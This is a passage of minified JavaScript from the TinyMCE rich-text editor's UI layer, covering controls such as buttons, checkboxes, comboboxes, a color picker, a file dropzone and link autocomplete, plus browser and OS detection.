"+n+"i-"+o.settings.icon:"";var i=o.getEl().firstChild,r=i.getElementsByTagName("i")[0];e?(r&&r===i.firstChild||(r=_.document.createElement("i"),i.insertBefore(r,i.firstChild)),r.className=e):r&&i.removeChild(r),s(o.state.get("text"))}),o._super()}}),Wn=On.extend({init:function(t){t=R.extend({text:"Browse...",multiple:!1,accept:null},t),this._super(t),this.classes.add("browsebutton"),t.multiple&&this.classes.add("multiple")},postRender:function(){var n=this,e=Ht.create("input",{type:"file",id:n._id+"-browse",accept:n.settings.accept});n._super(),Tt(e).on("change",function(t){var e=t.target.files;n.value=function(){return e.length?n.settings.multiple?e:e[0]:null},t.preventDefault(),e.length&&n.fire("change",t)}),Tt(e).on("click",function(t){t.stopPropagation()}),Tt(n.getEl("button")).on("click touchstart",function(t){t.stopPropagation(),e.click(),t.preventDefault()}),n.getEl().appendChild(e)},remove:function(){Tt(this.getEl("button")).off(),Tt(this.getEl("input")).off(),this._super()}}),Pn=Me.extend({Defaults:{defaultType:"button",role:"group"},renderHtml:function(){var t=this,e=t._layout;return t.classes.add("btn-group"),t.preRender(),e.preRender(t),'<div id="'+t._id+'" class="'+t.classes+'"><div id="'+t._id+'-body">'+(t.settings.html||"")+e.renderHtml(t)+"</div></div>"}}),Dn=ge.extend({Defaults:{classes:"checkbox",role:"checkbox",checked:!1},init:function(t){var e=this;e._super(t),e.on("click mousedown",function(t){t.preventDefault()}),e.on("click",function(t){t.preventDefault(),e.disabled()||e.checked(!e.checked())}),e.checked(e.settings.checked)},checked:function(t){return arguments.length?(this.state.set("checked",t),this):this.state.get("checked")},value:function(t){return arguments.length?this.checked(t):this.checked()},renderHtml:function(){var t=this,e=t._id,n=t.classPrefix;return'<div id="'+e+'" class="'+t.classes+'" unselectable="on" aria-labelledby="'+e+'-al" tabindex="-1"><i class="'+n+"ico "+n+'i-checkbox"></i><span id="'+e+'-al" class="'+n+'label">'+t.encode(t.state.get("text"))+"</span></div>"},bindStates:function(){var o=this;function e(t){o.classes.toggle("checked",t),o.aria("checked",t)}return o.state.on("change:text",function(t){o.getEl("al").firstChild.data=o.translate(t.value)}),o.state.on("change:checked change:value",function(t){o.fire("change"),e(t.value)}),o.state.on("change:icon",function(t){var e=t.value,n=o.classPrefix;if(void 0===e)return o.settings.icon;e=(o.settings.icon=e)?n+"ico "+n+"i-"+o.settings.icon:"";var i=o.getEl().firstChild,r=i.getElementsByTagName("i")[0];e?(r&&r===i.firstChild||(r=_.document.createElement("i"),i.insertBefore(r,i.firstChild)),r.className=e):r&&i.removeChild(r)}),o.state.get("checked")&&e(!0),o._super()}}),An=tinymce.util.Tools.resolve("tinymce.util.VK"),Bn=ge.extend({init:function(i){var r=this;r._super(i),i=r.settings,r.classes.add("combobox"),r.subinput=!0,r.ariaTarget="inp",i.menu=i.menu||i.values,i.menu&&(i.icon="caret"),r.on("click",function(t){var e=t.target,n=r.getEl();if(Tt.contains(n,e)||e===n)for(;e&&e!==n;)e.id&&-1!==e.id.indexOf("-open")&&(r.fire("action"),i.menu&&(r.showMenu(),t.aria&&r.menu.items()[0].focus())),e=e.parentNode}),r.on("keydown",function(t){var e;13===t.keyCode&&"INPUT"===t.target.nodeName&&(t.preventDefault(),r.parents().reverse().each(function(t){if(t.toJSON)return e=t,!1}),r.fire("submit",{data:e.toJSON()}))}),r.on("keyup",function(t){if("INPUT"===t.target.nodeName){var e=r.state.get("value"),n=t.target.value;n!==e&&(r.state.set("value",n),r.fire("autocomplete",t))}}),r.on("mouseover",function(t){var e=r.tooltip().moveTo(-65535);if(r.statusLevel()&&-1!==t.target.className.indexOf(r.classPrefix+"status")){var n=r.statusMessage()||"Ok",i=e.text(n).show().testMoveRel(t.target,["bc-tc","bc-tl","bc-tr"]);e.classes.toggle("tooltip-n","bc-tc"===i),e.classes.toggle("tooltip-nw","bc-tl"===i),e.classes.toggle("tooltip-ne","bc-tr"===i),e.moveRel(t.target,i)}})},statusLevel:function(t){return 0<arguments.length&&this.state.set("statusLevel",t),this.state.get("statusLevel")},statusMessage:function(t){return 0<arguments.length&&this.state.set("statusMessage",t),this.state.get("statusMessage")},showMenu:function(){var t,e=this,n=e.settings;e.menu||((t=n.menu||[]).length?t={type:"menu",items:t}:t.type=t.type||"menu",e.menu=_e.create(t).parent(e).renderTo(e.getContainerElm()),e.fire("createmenu"),e.menu.reflow(),e.menu.on("cancel",function(t){t.control===e.menu&&e.focus()}),e.menu.on("show hide",function(t){t.control.items().each(function(t){t.active(t.value()===e.value())})}).fire("show"),e.menu.on("select",function(t){e.value(t.control.value())}),e.on("focusin",function(t){"INPUT"===t.target.tagName.toUpperCase()&&e.menu.hide()}),e.aria("expanded",!0)),e.menu.show(),e.menu.layoutRect({w:e.layoutRect().w}),e.menu.moveRel(e.getEl(),e.isRtl()?["br-tr","tr-br"]:["bl-tl","tl-bl"])},focus:function(){this.getEl("inp").focus()},repaint:function(){var t,e,n=this,i=n.getEl(),r=n.getEl("open"),o=n.layoutRect(),s=0,a=i.firstChild;n.statusLevel()&&"none"!==n.statusLevel()&&(s=parseInt(Ht.getRuntimeStyle(a,"padding-right"),10)-parseInt(Ht.getRuntimeStyle(a,"padding-left"),10)),t=r?o.w-Ht.getSize(r).width-10:o.w-10;var l=_.document;return l.all&&(!l.documentMode||l.documentMode<=8)&&(e=n.layoutRect().h-2+"px"),Tt(a).css({width:t-s,lineHeight:e}),n._super(),n},postRender:function(){var e=this;return Tt(this.getEl("inp")).on("change",function(t){e.state.set("value",t.target.value),e.fire("change",t)}),e._super()},renderHtml:function(){var t,e,n,i=this,r=i._id,o=i.settings,s=i.classPrefix,a=i.state.get("value")||"",l="",u="";return"spellcheck"in o&&(u+=' spellcheck="'+o.spellcheck+'"'),o.maxLength&&(u+=' maxlength="'+o.maxLength+'"'),o.size&&(u+=' size="'+o.size+'"'),o.subtype&&(u+=' type="'+o.subtype+'"'),n='<i id="'+r+'-status" class="mce-status mce-ico" style="display: none"></i>',i.disabled()&&(u+=' disabled="disabled"'),(t=o.icon)&&"caret"!==t&&(t=s+"ico "+s+"i-"+o.icon),e=i.state.get("text"),(t||e)&&(l='<div id="'+r+'-open" class="'+s+"btn "+s+'open" tabIndex="-1" role="button"><button id="'+r+'-action" type="button" hidefocus="1" tabindex="-1">'+("caret"!==t?'<i class="'+t+'"></i>':'<i class="'+s+'caret"></i>')+(e?(t?" ":"")+e:"")+"</button></div>",i.classes.add("has-open")),'<div id="'+r+'" class="'+i.classes+'"><input id="'+r+'-inp" class="'+s+'textbox" value="'+i.encode(a,!1)+'" hidefocus="1"'+u+' placeholder="'+i.encode(o.placeholder)+'" />'+n+l+"</div>"},value:function(t){return arguments.length?(this.state.set("value",t),this):(this.state.get("rendered")&&this.state.set("value",this.getEl("inp").value),this.state.get("value"))},showAutoComplete:function(t,i){var r=this;if(0!==t.length){r.menu?r.menu.items().remove():r.menu=_e.create({type:"menu",classes:"combobox-menu",layout:"flow"}).parent(r).renderTo(),R.each(t,function(t){var e,n;r.menu.add({text:t.title,url:t.previewUrl,match:i,classes:"menu-item-ellipsis",onclick:(e=t.value,n=t.title,function(){r.fire("selectitem",{title:n,value:e})})})}),r.menu.renderNew(),r.hideMenu(),r.menu.on("cancel",function(t){t.control.parent()===r.menu&&(t.stopPropagation(),r.focus(),r.hideMenu())}),r.menu.on("select",function(){r.focus()});var e=r.layoutRect().w;r.menu.layoutRect({w:e,minW:0,maxW:e}),r.menu.repaint(),r.menu.reflow(),r.menu.show(),r.menu.moveRel(r.getEl(),r.isRtl()?["br-tr","tr-br"]:["bl-tl","tl-bl"])}else r.hideMenu()},hideMenu:function(){this.menu&&this.menu.hide()},bindStates:function(){var r=this;r.state.on("change:value",function(t){r.getEl("inp").value!==t.value&&(r.getEl("inp").value=t.value)}),r.state.on("change:disabled",function(t){r.getEl("inp").disabled=t.value}),r.state.on("change:statusLevel",function(t){var e=r.getEl("status"),n=r.classPrefix,i=t.value;Ht.css(e,"display","none"===i?"none":""),Ht.toggleClass(e,n+"i-checkmark","ok"===i),Ht.toggleClass(e,n+"i-warning","warn"===i),Ht.toggleClass(e,n+"i-error","error"===i),r.classes.toggle("has-status","none"!==i),r.repaint()}),Ht.on(r.getEl("status"),"mouseleave",function(){r.tooltip().hide()}),r.on("cancel",function(t){r.menu&&r.menu.visible()&&(t.stopPropagation(),r.hideMenu())});var n=function(t,e){e&&0<e.items().length&&e.items().eq(t)[0].focus()};return r.on("keydown",function(t){var e=t.keyCode;"INPUT"===t.target.nodeName&&(e===An.DOWN?(t.preventDefault(),r.fire("autocomplete"),n(0,r.menu)):e===An.UP&&(t.preventDefault(),n(-1,r.menu)))}),r._super()},remove:function(){Tt(this.getEl("inp")).off(),this.menu&&this.menu.remove(),this._super()}}),Ln=Bn.extend({init:function(t){var e=this;t.spellcheck=!1,t.onaction&&(t.icon="none"),e._super(t),e.classes.add("colorbox"),e.on("change keyup postrender",function(){e.repaintColor(e.value())})},repaintColor:function(t){var e=this.getEl("open"),n=e?e.getElementsByTagName("i")[0]:null;if(n)try{n.style.background=t}catch(i){}},bindStates:function(){var e=this;return e.state.on("change:value",function(t){e.state.get("rendered")&&e.repaintColor(t.value)}),e._super()}}),In=On.extend({showPanel:function(){var e=this,t=e.settings;if(e.classes.add("opened"),e.panel)e.panel.show();else{var n=t.panel;n.type&&(n={layout:"grid",items:n}),n.role=n.role||"dialog",n.popover=!0,n.autohide=!0,n.ariaRoot=!0,e.panel=new ze(n).on("hide",function(){e.classes.remove("opened")}).on("cancel",function(t){t.stopPropagation(),e.focus(),e.hidePanel()}).parent(e).renderTo(e.getContainerElm()),e.panel.fire("show"),e.panel.reflow()}var i=e.panel.testMoveRel(e.getEl(),t.popoverAlign||(e.isRtl()?["bc-tc","bc-tl","bc-tr"]:["bc-tc","bc-tr","bc-tl","tc-bc","tc-br","tc-bl"]));e.panel.classes.toggle("start","l"===i.substr(-1)),e.panel.classes.toggle("end","r"===i.substr(-1));var r="t"===i.substr(0,1);e.panel.classes.toggle("bottom",!r),e.panel.classes.toggle("top",r),e.panel.moveRel(e.getEl(),i)},hidePanel:function(){this.panel&&this.panel.hide()},postRender:function(){var e=this;return e.aria("haspopup",!0),e.on("click",function(t){t.control===e&&(e.panel&&e.panel.visible()?e.hidePanel():(e.showPanel(),e.panel.focus(!!t.aria)))}),e._super()},remove:function(){return this.panel&&(this.panel.remove(),this.panel=null),this._super()}}),zn=v.DOM,Fn=In.extend({init:function(t){this._super(t),this.classes.add("splitbtn"),this.classes.add("colorbutton")},color:function(t){return t?(this._color=t,this.getEl("preview").style.backgroundColor=t,this):this._color},resetColor:function(){return this._color=null,this.getEl("preview").style.backgroundColor=null,this},renderHtml:function(){var t=this,e=t._id,n=t.classPrefix,i=t.state.get("text"),r=t.settings.icon?n+"ico "+n+"i-"+t.settings.icon:"",o=t.settings.image?" style=\"background-image: url('"+t.settings.image+"')\"":"",s="";return i&&(t.classes.add("btn-has-text"),s='<span class="'+n+'txt">'+t.encode(i)+"</span>"),'<div id="'+e+'" class="'+t.classes+'" role="button" tabindex="-1" aria-haspopup="true"><button role="presentation" hidefocus="1" type="button" tabindex="-1">'+(r?'<i class="'+r+'"'+o+"></i>":"")+'<span id="'+e+'-preview" class="'+n+'preview"></span>'+s+'</button><button type="button" class="'+n+'open" hidefocus="1" tabindex="-1"> <i class="'+n+'caret"></i></button></div>'},postRender:function(){var e=this,n=e.settings.onclick;return e.on("click",function(t){t.aria&&"down"===t.aria.key||t.control!==e||zn.getParent(t.target,"."+e.classPrefix+"open")||(t.stopImmediatePropagation(),n.call(e,t))}),delete e.settings.onclick,e._super()}}),Un=tinymce.util.Tools.resolve("tinymce.util.Color"),Vn=ge.extend({Defaults:{classes:"widget colorpicker"},init:function(t){this._super(t)},postRender:function(){var n,i,r,o,s,a=this,l=a.color();function u(t,e){var n,i,r=Ht.getPos(t);return n=e.pageX-r.x,i=e.pageY-r.y,{x:n=Math.max(0,Math.min(n/t.clientWidth,1)),y:i=Math.max(0,Math.min(i/t.clientHeight,1))}}function c(t,e){var n=(360-t.h)/360;Ht.css(r,{top:100*n+"%"}),e||Ht.css(s,{left:t.s+"%",top:100-t.v+"%"}),o.style.background=Un({s:100,v:100,h:t.h}).toHex(),a.color().parse({s:t.s,v:t.v,h:t.h})}function t(t){var e;e=u(o,t),n.s=100*e.x,n.v=100*(1-e.y),c(n),a.fire("change")}function e(t){var e;e=u(i,t),(n=l.toHsv()).h=360*(1-e.y),c(n,!0),a.fire("change")}i=a.getEl("h"),r=a.getEl("hp"),o=a.getEl("sv"),s=a.getEl("svp"),a._repaint=function(){c(n=l.toHsv())},a._super(),a._svdraghelper=new we(a._id+"-sv",{start:t,drag:t}),a._hdraghelper=new we(a._id+"-h",{start:e,drag:e}),a._repaint()},rgb:function(){return this.color().toRgb()},value:function(t){if(!arguments.length)return this.color().toHex();this.color().parse(t),this._rendered&&this._repaint()},color:function(){return this._color||(this._color=Un()),this._color},renderHtml:function(){var t,e=this._id,o=this.classPrefix,s="#ff0000,#ff0080,#ff00ff,#8000ff,#0000ff,#0080ff,#00ffff,#00ff80,#00ff00,#80ff00,#ffff00,#ff8000,#ff0000";return t='<div id="'+e+'-h" class="'+o+'colorpicker-h" style="background: -ms-linear-gradient(top,'+s+");background: linear-gradient(to bottom,"+s+');">'+function(){var t,e,n,i,r="";for(n="filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr=",t=0,e=(i=s.split(",")).length-1;t<e;t++)r+='<div class="'+o+'colorpicker-h-chunk" style="height:'+100/e+"%;"+n+i[t]+",endColorstr="+i[t+1]+");-ms-"+n+i[t]+",endColorstr="+i[t+1]+')"></div>';return r}()+'<div id="'+e+'-hp" class="'+o+'colorpicker-h-marker"></div></div>','<div id="'+e+'" class="'+this.classes+'"><div id="'+e+'-sv" class="'+o+'colorpicker-sv"><div class="'+o+'colorpicker-overlay1"><div class="'+o+'colorpicker-overlay2"><div id="'+e+'-svp" class="'+o+'colorpicker-selector1"><div class="'+o+'colorpicker-selector2"></div></div></div></div></div>'+t+"</div>"}}),qn=ge.extend({init:function(t){t=R.extend({height:100,text:"Drop an image here",multiple:!1,accept:null},t),this._super(t),this.classes.add("dropzone"),t.multiple&&this.classes.add("multiple")},renderHtml:function(){var t,e,n=this.settings;return t={id:this._id,hidefocus:"1"},e=Ht.create("div",t,"<span>"+this.translate(n.text)+"</span>"),n.height&&Ht.css(e,"height",n.height+"px"),n.width&&Ht.css(e,"width",n.width+"px"),e.className=this.classes,e.outerHTML},postRender:function(){var i=this,t=function(t){t.preventDefault(),i.classes.toggle("dragenter"),i.getEl().className=i.classes};i._super(),i.$el.on("dragover",function(t){t.preventDefault()}),i.$el.on("dragenter",t),i.$el.on("dragleave",t),i.$el.on("drop",function(t){if(t.preventDefault(),!i.state.get("disabled")){var e=function(t){var e=i.settings.accept;if("string"!=typeof e)return t;var n=new RegExp("("+e.split(/\s*,\s*/).join("|")+")$","i");return R.grep(t,function(t){return n.test(t.name)})}(t.dataTransfer.files);i.value=function(){return e.length?i.settings.multiple?e:e[0]:null},e.length&&i.fire("change",t)}})},remove:function(){this.$el.off(),this._super()}}),Yn=ge.extend({init:function(t){var n=this;t.delimiter||(t.delimiter="\xbb"),n._super(t),n.classes.add("path"),n.canFocus=!0,n.on("click",function(t){var e;(e=t.target.getAttribute("data-index"))&&n.fire("select",{value:n.row()[e],index:e})}),n.row(n.settings.row)},focus:function(){return this.getEl().firstChild.focus(),this},row:function(t){return arguments.length?(this.state.set("row",t),this):this.state.get("row")},renderHtml:function(){return'<div id="'+this._id+'" class="'+this.classes+'">'+this._getDataPathHtml(this.state.get("row"))+"</div>"},bindStates:function(){var e=this;return e.state.on("change:row",function(t){e.innerHtml(e._getDataPathHtml(t.value))}),e._super()},_getDataPathHtml:function(t){var e,n,i=t||[],r="",o=this.classPrefix;for(e=0,n=i.length;e<n;e++)r+=(0<e?'<div class="'+o+'divider" aria-hidden="true"> '+this.settings.delimiter+" </div>":"")+'<div role="button" class="'+o+"path-item"+(e===n-1?" "+o+"last":"")+'" data-index="'+e+'" tabindex="-1" id="'+this._id+"-"+e+'" aria-level="'+(e+1)+'">'+i[e].name+"</div>";return r||(r='<div class="'+o+'path-item">\xa0</div>'),r}}),$n=Yn.extend({postRender:function(){var o=this,s=o.settings.editor;function a(t){if(1===t.nodeType){if("BR"===t.nodeName||t.getAttribute("data-mce-bogus"))return!0;if("bookmark"===t.getAttribute("data-mce-type"))return!0}return!1}return!1!==s.settings.elementpath&&(o.on("select",function(t){s.focus(),s.selection.select(this.row()[t.index].element),s.nodeChanged()}),s.on("nodeChange",function(t){for(var e=[],n=t.parents,i=n.length;i--;)if(1===n[i].nodeType&&!a(n[i])){var r=s.fire("ResolveName",{name:n[i].nodeName.toLowerCase(),target:n[i]});if(r.isDefaultPrevented()||e.push({name:r.name,element:n[i]}),r.isPropagationStopped())break}o.row(e)})),o._super()}}),Xn=Me.extend({Defaults:{layout:"flex",align:"center",defaults:{flex:1}},renderHtml:function(){var t=this,e=t._layout,n=t.classPrefix;return t.classes.add("formitem"),e.preRender(t),'<div id="'+t._id+'" class="'+t.classes+'" hidefocus="1" tabindex="-1">'+(t.settings.title?'<div id="'+t._id+'-title" class="'+n+'title">'+t.settings.title+"</div>":"")+'<div id="'+t._id+'-body" class="'+t.bodyClasses+'">'+(t.settings.html||"")+e.renderHtml(t)+"</div></div>"}}),jn=Me.extend({Defaults:{containerCls:"form",layout:"flex",direction:"column",align:"stretch",flex:1,padding:15,labelGap:30,spacing:10,callbacks:{submit:function(){this.submit()}}},preRender:function(){var i=this,t=i.items();i.settings.formItemDefaults||(i.settings.formItemDefaults={layout:"flex",autoResize:"overflow",defaults:{flex:1}}),t.each(function(t){var e,n=t.settings.label;n&&((e=new Xn(R.extend({items:{type:"label",id:t._id+"-l",text:n,flex:0,forId:t._id,disabled:t.disabled()}},i.settings.formItemDefaults))).type="formitem",t.aria("labelledby",t._id+"-l"),"undefined"==typeof t.settings.flex&&(t.settings.flex=1),i.replace(t,e),e.add(t))})},submit:function(){return this.fire("submit",{data:this.toJSON()})},postRender:function(){this._super(),this.fromJSON(this.settings.data)},bindStates:function(){var n=this;function t(){var t,e,i=0,r=[];if(!1!==n.settings.labelGapCalc)for(("children"===n.settings.labelGapCalc?n.find("formitem"):n.items()).filter("formitem").each(function(t){var e=t.items()[0],n=e.getEl().clientWidth;i=i<n?n:i,r.push(e)}),e=n.settings.labelGap||0,t=r.length;t--;)r[t].settings.minWidth=i+e}n._super(),n.on("show",t),t()}}),Jn=jn.extend({Defaults:{containerCls:"fieldset",layout:"flex",direction:"column",align:"stretch",flex:1,padding:"25 15 5 15",labelGap:30,spacing:10,border:1},renderHtml:function(){var t=this,e=t._layout,n=t.classPrefix;return t.preRender(),e.preRender(t),'<fieldset id="'+t._id+'" class="'+t.classes+'" hidefocus="1" tabindex="-1">'+(t.settings.title?'<legend id="'+t._id+'-title" class="'+n+'fieldset-title">'+t.settings.title+"</legend>":"")+'<div id="'+t._id+'-body" class="'+t.bodyClasses+'">'+(t.settings.html||"")+e.renderHtml(t)+"</div></fieldset>"}}),Gn=0,Kn=function(t){if(null===t||t===undefined)throw new Error("Node cannot be null or undefined");return{dom:lt(t)}},Zn={fromHtml:function(t,e){var n=(e||_.document).createElement("div");if(n.innerHTML=t,!n.hasChildNodes()||1<n.childNodes.length)throw _.console.error("HTML does not have a single root node",t),new Error("HTML must have a single root node");return Kn(n.childNodes[0])},fromTag:function(t,e){var n=(e||_.document).createElement(t);return Kn(n)},fromText:function(t,e){var n=(e||_.document).createTextNode(t);return Kn(n)},fromDom:Kn,fromPoint:function(t,e,n){var i=t.dom();return mt.from(i.elementFromPoint(e,n)).map(Kn)}},Qn=(_.Node.ATTRIBUTE_NODE,_.Node.CDATA_SECTION_NODE,_.Node.COMMENT_NODE,_.Node.DOCUMENT_NODE),ti=(_.Node.DOCUMENT_TYPE_NODE,_.Node.DOCUMENT_FRAGMENT_NODE,_.Node.ELEMENT_NODE),ei=(_.Node.TEXT_NODE,_.Node.PROCESSING_INSTRUCTION_NODE,_.Node.ENTITY_REFERENCE_NODE,_.Node.ENTITY_NODE,_.Node.NOTATION_NODE,function(t,e){var n=function(t,e){for(var n=0;n<t.length;n++){var i=t[n];if(i.test(e))return i}return undefined}(t,e);if(!n)return{major:0,minor:0};var i=function(t){return Number(e.replace(n,"$"+t))};return ii(i(1),i(2))}),ni=function(){return ii(0,0)},ii=function(t,e){return{major:t,minor:e}},ri={nu:ii,detect:function(t,e){var n=String(e).toLowerCase();return 0===t.length?ni():ei(t,n)},unknown:ni},oi="Firefox",si=function(t,e){return function(){return e===t}},ai=function(t){var e=t.current;return{current:e,version:t.version,isEdge:si("Edge",e),isChrome:si("Chrome",e),isIE:si("IE",e),isOpera:si("Opera",e),isFirefox:si(oi,e),isSafari:si("Safari",e)}},li={unknown:function(){return ai({current:undefined,version:ri.unknown()})},nu:ai,edge:lt("Edge"),chrome:lt("Chrome"),ie:lt("IE"),opera:lt("Opera"),firefox:lt(oi),safari:lt("Safari")},ui="Windows",ci="Android",di="Solaris",fi="FreeBSD",hi=function(t,e){return function(){return e===t}},mi=function(t){var e=t.current;return{current:e,version:t.version,isWindows:hi(ui,e),isiOS:hi("iOS",e),isAndroid:hi(ci,e),isOSX:hi("OSX",e),isLinux:hi("Linux",e),isSolaris:hi(di,e),isFreeBSD:hi(fi,e)}},gi={unknown:function(){return mi({current:undefined,version:ri.unknown()})},nu:mi,windows:lt(ui),ios:lt("iOS"),android:lt(ci),linux:lt("Linux"),osx:lt("OSX"),solaris:lt(di),freebsd:lt(fi)},pi=function(t,e){var n=String(e).toLowerCase();return function(t,e){for(var n=0,i=t.length;n<i;n++){var r=t[n];if(e(r,n))return mt.some(r)}return mt.none()}(t,function(t){return t.search(n)})},vi=function(t,n){return pi(t,n).map(function(t){var e=ri.detect(t.versionRegexes,n);return{current:t.name,version:e}})},bi=function(t,n){return pi(t,n).map(function(t){var e=ri.detect(t.versionRegexes,n);return{current:t.name,version:e}})},yi=function(t,e){return-1!==t.indexOf(e)},xi=/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,wi=function(e){return function(t){return yi(t,e)}},_i=[{name:"Edge",versionRegexes:[/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],search:function(t){return yi(t,"edge/")&&yi(t,"chrome")&&yi(t,"safari")&&yi(t,"applewebkit")}},{name:"Chrome",versionRegexes:[/.*?chrome\/([0-9]+)\.([0-9]+).*/,xi],search:function(t){return yi(t,"chrome")&&!yi(t,"chromeframe")}},{name:"IE",versionRegexes:[/.*?msie\ ?([0-9]+)\.([0-9]+).*/,/.*?rv:([0-9]+)\.([0-9]+).*/],search:function(t){return yi(t,"msie")||yi(t,"trident")}},{name:"Opera",versionRegexes:[xi,/.*?opera\/([0-9]+)\.([0-9]+).*/],search:wi("opera")},{name:"Firefox",versionRegexes:[/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],search:wi("firefox")},{name:"Safari",versionRegexes:[xi,/.*?cpu os ([0-9]+)_([0-9]+).*/],search:function(t){return(yi(t,"safari")||yi(t,"mobile/"))&&yi(t,"applewebkit")}}],Ri=[{name:"Windows",search:wi("win"),versionRegexes:[/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]},{name:"iOS",search:function(t){return yi(t,"iphone")||yi(t,"ipad")},versionRegexes:[/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,/.*cpu os ([0-9]+)_([0-9]+).*/,/.*cpu iphone os ([0-9]+)_([0-9]+).*/]},{name:"Android",search:wi("android"),versionRegexes:[/.*?android\ ?([0-9]+)\.([0-9]+).*/]},{name:"OSX",search:wi("os x"),versionRegexes:[/.*?os\ x\ ?([0-9]+)_([0-9]+).*/]},{name:"Linux",search:wi("linux"),versionRegexes:[]},{name:"Solaris",search:wi("sunos"),versionRegexes:[]},{name:"FreeBSD",search:wi("freebsd"),versionRegexes:[]}],Ci={browsers:lt(_i),oses:lt(Ri)},ki=function(t){var e,n,i,r,o,s,a,l,u,c,d,f=Ci.browsers(),h=Ci.oses(),m=vi(f,t).fold(li.unknown,li.nu),g=bi(h,t).fold(gi.unknown,gi.nu);return{browser:m,os:g,deviceType:(n=m,i=t,r=(e=g).isiOS()&&!0===/ipad/i.test(i),o=e.isiOS()&&!r,s=e.isAndroid()&&3===e.version.major,a=e.isAndroid()&&4===e.version.major,l=r||s||a&&!0===/mobile/i.test(i),u=e.isiOS()||e.isAndroid(),c=u&&!l,d=n.isSafari()&&e.isiOS()&&!1===/safari/i.test(i),{isiPad:lt(r),isiPhone:lt(o),isTablet:lt(l),isPhone:lt(c),isTouch:lt(u),isAndroid:e.isAndroid,isiOS:e.isiOS,isWebView:lt(d)})}},Ei=(Je=!(Xe=function(){var t=_.navigator.userAgent;return ki(t)}),function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return Je||(Je=!0,je=Xe.apply(null,t)),je}),Hi=ti,Ti=Qn,Si=function(t){return t.nodeType!==Hi&&t.nodeType!==Ti||0===t.childElementCount},Mi=(Ei().browser.isIE(),function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e]}("element","offset"),R.trim),Ni=function(e){return function(t){if(t&&1===t.nodeType){if(t.contentEditable===e)return!0;if(t.getAttribute("data-mce-contenteditable")===e)return!0}return!1}},Oi=Ni("true"),Wi=Ni("false"),Pi=function(t,e,n,i,r){return{type:t,title:e,url:n,level:i,attach:r}},Di=function(t){return t.innerText||t.textContent},Ai=function(t){return t.id?t.id:(e="h",n=(new Date).getTime(),e+"_"+Math.floor(1e9*Math.random())+ ++Gn+String(n));var e,n},Bi=function(t){return(e=t)&&"A"===e.nodeName&&(e.id||e.name)&&Ii(t);var e},Li=function(t){return t&&/^(H[1-6])$/.test(t.nodeName)},Ii=function(t){return function(t){for(;t=t.parentNode;){var e=t.contentEditable;if(e&&"inherit"!==e)return Oi(t)}return!1}(t)&&!Wi(t)},zi=function(t){return Li(t)&&Ii(t)},Fi=function(t){var e,n=Ai(t);return Pi("header",Di(t),"#"+n,Li(e=t)?parseInt(e.nodeName.substr(1),10):0,function(){t.id=n})},Ui=function(t){var e=t.id||t.name,n=Di(t);return Pi("anchor",n||"#"+e,"#"+e,0,at)},Vi=function(t){var e,n,i,r,o,s;return e="h1,h2,h3,h4,h5,h6,a:not([href])",n=t,Rt((Ei().browser.isIE(),function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e]}("element","offset"),i=Zn.fromDom(n),r=e,s=(o=i)===undefined?_.document:o.dom(),Si(s)?[]:Rt(s.querySelectorAll(r),Zn.fromDom)),function(t){return t.dom()})},qi=function(t){return 0<Mi(t.title).length},Yi=function(t){var e,n=Vi(t);return kt((e=n,Rt(kt(e,zi),Fi)).concat(Rt(kt(n,Bi),Ui)),qi)},$i={},Xi=function(t){return{title:t.title,value:{title:{raw:t.title},url:t.url,attach:t.attach}}},ji=function(t,e){return{title:t,value:{title:t,url:e,attach:at}}},Ji=function(t,e,n){var i=e in t?t[e]:n;return!1===i?null:i},Gi=function(t,i,r,e){var n,o,s,a,l,u,c={title:"-"},d=function(t){var e=t.hasOwnProperty(r)?t[r]:[],n=kt(e,function(t){return e=t,!_t(i,function(t){return t.url===e});var e});return R.map(n,function(t){return{title:t,value:{title:t,url:t,attach:at}}})},f=function(e){var t,n=kt(i,function(t){return t.type===e});return t=n,R.map(t,Xi)};return!1===e.typeahead_urls?[]:"file"===r?(n=[Ki(t,d($i)),Ki(t,f("header")),Ki(t,(a=f("anchor"),l=Ji(e,"anchor_top","#top"),u=Ji(e,"anchor_bottom","#bottom"),null!==l&&a.unshift(ji("<top>",l)),null!==u&&a.push(ji("<bottom>",u)),a))],o=function(t,e){return 0===t.length||0===e.length?t.concat(e):t.concat(c,e)},s=[],Ct(n,function(t){s=o(s,t)}),s):Ki(t,d($i))},Ki=function(t,e){var n=t.toLowerCase(),i=R.grep(e,function(t){return-1!==t.title.toLowerCase().indexOf(n)});return 1===i.length&&i[0].title===t?[]:i},Zi=function(r,i,o,s){var e=function(t){var e=Yi(o),n=Gi(t,e,s,i);r.showAutoComplete(n,t)};r.on("autocomplete",function(){e(r.value())}),r.on("selectitem",function(t){var e=t.value;r.value(e.url);var n,i=(n=e.title).raw?n.raw:n;"image"===s?r.fire("change",{meta:{alt:i,attach:e.attach}}):r.fire("change",{meta:{text:i,attach:e.attach}}),r.focus()}),r.on("click",function(t){0===r.value().length&&"INPUT"===t.target.nodeName&&e("")}),r.on("PostRender",function(){r.getRoot().on("submit",function(t){var e,n,i;t.isDefaultPrevented()||(e=r.value(),i=$i[n=s],/^https?/.test(e)&&(i?wt(i,e).isNone()&&($i[n]=i.slice(0,5).concat(e)):$i[n]=[e]))})})},Qi=function(o,t,n){var i=t.filepicker_validator_handler;i&&o.state.on("change:value",function(t){var e;0!==(e=t.value).length?i({url:e,type:n},function(t){var e,n,i,r=(n=(e=t).status,i=e.message,"valid"===n?{status:"ok",message:i}:"unknown"===n?{status:"warn",message:i}:"invalid"===n?{status:"warn",message:i}:{status:"none",message:""});o.statusMessage(r.message),o.statusLevel(r.status)}):o.statusLevel("none")})},tr=Bn.extend({Statics:{clearHistory:function(){$i={}}},init:function(t){var e,n,i,r=this,o=window.tinymce?window.tinymce.activeEditor:M.activeEditor,s=o.settings,a=t.filetype;t.spellcheck=!1,(i=s.file_picker_types||s.file_browser_callback_types)&&(i=R.makeMap(i,/[, ]/)),i&&!i[a]||(!(n=s.file_picker_callback)||i&&!i[a]?!(n=s.file_browser_callback)||i&&!i[a]||(e=function(){n(r.getEl("inp").id,r.value(),a,window)}):e=function(){var 